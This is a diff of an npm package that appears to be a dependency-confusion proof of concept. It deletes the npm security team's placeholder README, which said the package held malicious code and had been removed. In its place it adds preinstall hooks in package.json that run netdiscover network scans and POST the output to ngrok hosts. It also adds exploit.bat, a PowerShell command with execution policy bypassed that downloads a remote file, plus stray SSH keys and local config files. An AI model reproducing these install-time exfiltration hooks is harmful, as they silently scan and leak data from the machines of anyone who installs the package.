+ 9 timing config:load:project Completed in 1ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 18ms
17
+ 16 timing npm:load:configload Completed in 21ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 3ms
23
+ 22 timing config:load:flatten Completed in 7ms
24
+ 23 timing npm:load:display Completed in 12ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T18_44_14_248Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 14ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 53ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 2ms
File without changes
package/.profile ADDED
@@ -0,0 +1,27 @@
1
+ # ~/.profile: executed by the command interpreter for login shells.
2
+ # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
3
+ # exists.
4
+ # see /usr/share/doc/bash/examples/startup-files for examples.
5
+ # the files are located in the bash-doc package.
6
+
7
+ # the default umask is set in /etc/profile; for setting the umask
8
+ # for ssh logins, install and configure the libpam-umask package.
9
+ #umask 022
10
+
11
+ # if running bash
12
+ if [ -n "$BASH_VERSION" ]; then
13
+ # include .bashrc if it exists
14
+ if [ -f "$HOME/.bashrc" ]; then
15
+ . "$HOME/.bashrc"
16
+ fi
17
+ fi
18
+
19
+ # set PATH so it includes user's private bin if it exists
20
+ if [ -d "$HOME/bin" ] ; then
21
+ PATH="$HOME/bin:$PATH"
22
+ fi
23
+
24
+ # set PATH so it includes user's private bin if it exists
25
+ if [ -d "$HOME/.local/bin" ] ; then
26
+ PATH="$HOME/.local/bin:$PATH"
27
+ fi
@@ -0,0 +1 @@
1
+ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPq46DtywGDKH3HEWsTSAHMChzF4JdA12udtwRzMwFRw generated-by-azure
@@ -0,0 +1 @@
1
+ |1|hAkID7hatXT1a6M7ajlyZPpSkF8=|kncqw+21A5d2r+H/VEu2NS/KylU= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIII/rK32lDm0wteqXPKQZiqRxMQlA2IcT1azYWLHzTMe
File without changes
package/base.ldif ADDED
@@ -0,0 +1,13 @@
1
+ dn: dc=ldap,dc=example,dc=com
2
+ objectClass: top
3
+ objectClass: dcObject
4
+ objectClass: organization
5
+ o: Example LDAP Organization
6
+ dc: ldap
7
+
8
+ dn: cn=admin,ldap,dc=example,dc=com
9
+ objectClass: simpleSecurityObject
10
+ objectClass: organizationalRole
11
+ cn: admin
12
+ description: Directory Administrator
13
+ userPassword: {SSHA}your_encrypted_password
package/exploit.bat ADDED
@@ -0,0 +1 @@
1
+ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Command "& { try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://drive.google.com/uc?export=download&id=1dTAN7CRkUj25ViAGpiUCZOCiyjpJGIQP' -OutFile 'C:\Users\ADClient1-Admin\Downloads\exploit.txt' } catch { Write-Error $_ } }"
package/exploit.txt ADDED
@@ -0,0 +1,26 @@
1
+ This file is a "malicious" file
2
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡠⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
3
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠃⠀⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
4
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠋⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀
5
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⢛⠒⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀
6
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣶⣄⡈⠓⢄⠠⡀⠀⠀⠀⣄⣷⠀⠀⠀⠀⠀⠀⠀
7
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣷⠀⠈⠱⡄⠑⣌⠆⠀⠀⡜⢻⠀⠀⠀⠀⠀⠀⠀
8
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡿⠳⡆⠐⢿⣆⠈⢿⠀⠀⡇⠘⡆⠀⠀⠀⠀⠀⠀
9
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣷⡇⠀⠀⠈⢆⠈⠆⢸⠀⠀⢣⠀⠀⠀⠀⠀⠀
10
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣧⠀⠀⠈⢂⠀⡇⠀⠀⢨⠓⣄⠀⠀⠀⠀
11
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣦⣤⠖⡏⡸⠀⣀⡴⠋⠀⠈⠢⡀⠀⠀
12
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠁⣹⣿⣿⣿⣷⣾⠽⠖⠊⢹⣀⠄⠀⠀⠀⠈⢣⡀
13
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⣇⣰⢫⢻⢉⠉⠀⣿⡆⠀⠀⡸⡏⠀⠀⠀⠀⠀⠀⢇
14
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡇⡇⠈⢸⢸⢸⠀⠀⡇⡇⠀⠀⠁⠻⡄⡠⠂⠀⠀⠀⠘
15
+ ⢤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠛⠓⡇⠀⠸⡆⢸⠀⢠⣿⠀⠀⠀⠀⣰⣿⣵⡆⠀⠀⠀⠀
16
+ ⠈⢻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⣦⣀⡇⠀⢧⡇⠀⠀⢺⡟⠀⠀⠀⢰⠉⣰⠟⠊⣠⠂⠀⡸
17
+ ⠀⠀⢻⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⢧⡙⠺⠿⡇⠀⠘⠇⠀⠀⢸⣧⠀⠀⢠⠃⣾⣌⠉⠩⠭⠍⣉⡇
18
+ ⠀⠀⠀⠻⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣞⣋⠀⠈⠀⡳⣧⠀⠀⠀⠀⠀⢸⡏⠀⠀⡞⢰⠉⠉⠉⠉⠉⠓⢻⠃
19
+ ⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⢀⣀⠠⠤⣤⣤⠤⠞⠓⢠⠈⡆⠀⢣⣸⣾⠆⠀⠀⠀⠀⠀⢀⣀⡼⠁⡿⠈⣉⣉⣒⡒⠢⡼⠀
20
+ ⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣎⣽⣶⣤⡶⢋⣤⠃⣠⡦⢀⡼⢦⣾⡤⠚⣟⣁⣀⣀⣀⣀⠀⣀⣈⣀⣠⣾⣅⠀⠑⠂⠤⠌⣩⡇⠀
21
+ ⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⣺⢁⣞⣉⡴⠟⡀⠀⠀⠀⠁⠸⡅⠀⠈⢷⠈⠏⠙⠀⢹⡛⠀⢉⠀⠀⠀⣀⣀⣼⡇⠀
22
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⡟⢡⠖⣡⡴⠂⣀⣀⣀⣰⣁⣀⣀⣸⠀⠀⠀⠀⠈⠁⠀⠀⠈⠀⣠⠜⠋⣠⠁⠀
23
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⡟⢿⣿⣿⣷⡟⢋⣥⣖⣉⠀⠈⢁⡀⠤⠚⠿⣷⡦⢀⣠⣀⠢⣄⣀⡠⠔⠋⠁⠀⣼⠃⠀⠀
24
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⡄⠈⠻⣿⣿⢿⣛⣩⠤⠒⠉⠁⠀⠀⠀⠀⠀⠉⠒⢤⡀⠉⠁⠀⠀⠀⠀⠀⢀⡿⠀⠀⠀
25
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣤⣤⠴⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠤⠀⠀⠀⠀⠀⢩⠇⠀⠀⠀
26
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
- "name": "myconfusedfunctionpoctestpackage",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "myconfusedfunctionpoctestpackage",
3
+ "version": "1.0.3",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo 'testa'",
8
+ "preinstall": "netdiscover -i ens4 | netdiscover -i ens4 -r 127.17.0.0/24 | curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode @- https://1c6c-34-168-173-48.ngrok-free.app"
9
+ },
10
+ "author": "me",
11
+ "license": "ISC"
6
12
  }
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "mygcpconfusedfunctionpocmaliciouspackage",
3
+ "version": "1.1.1",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo 'testa'",
8
+ "preinstall": "echo 'hello world'|jq -sRr|curl -X POST https://d2b8-34-168-173-48.ngrok-free.app"
9
+ },
10
+ "author": "me",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=myconfusedfunctionpoctestpackage for more information.